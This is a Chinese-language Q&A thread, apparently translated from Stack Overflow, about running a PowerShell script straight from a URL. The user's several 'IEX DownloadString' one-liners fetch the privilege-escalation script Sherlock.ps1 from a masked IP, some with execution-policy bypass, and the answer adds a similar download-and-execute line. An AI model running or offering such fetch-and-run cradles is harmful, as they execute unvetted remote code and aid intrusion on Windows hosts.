0

在命令提示符下,我想运行一个存储在 URL 中的 PowerShell 脚本。

这是我尝试过的:

powershell -c "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell -Command "& iex (New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

powershell -NoProfile -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

我已经将它们中的每一个都运行了 5 分钟,但没有真正显示出我想要的结果。它没有显示任何错误,但在等待后什么也没有发生。

我想知道为什么上述脚本不能按预期工作?

我将通过键入以下内容来实现我想要的结果:

echo IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1') | powershell -NoProfile -Command -

我的问题类似于: Run Powershell script from URL without temporary file

其他参考: https ://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

4

1 回答 1

0

有不止一种方法,但这里有一个快速的单行代码,应该可以从命令提示符处解决问题:

powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://gist.githubusercontent.com/ChrisKibble/afea9880a184cd2b2445e5d8408715af/raw/41cbbf042af07136132f09395e4664ffab33e310/gistfile1.txt").Content).Invoke();"

这会根据托管在 URL 上的文件的内容创建一个脚本块。

至于为什么你的不工作,很难说没有调试它或做一些进程监控,但我的第一个猜测是你的 PS1 文件有问题(尝试一些简单的东西,比如 a Write-Host)。

于 2021-07-13T13:05:05.390 回答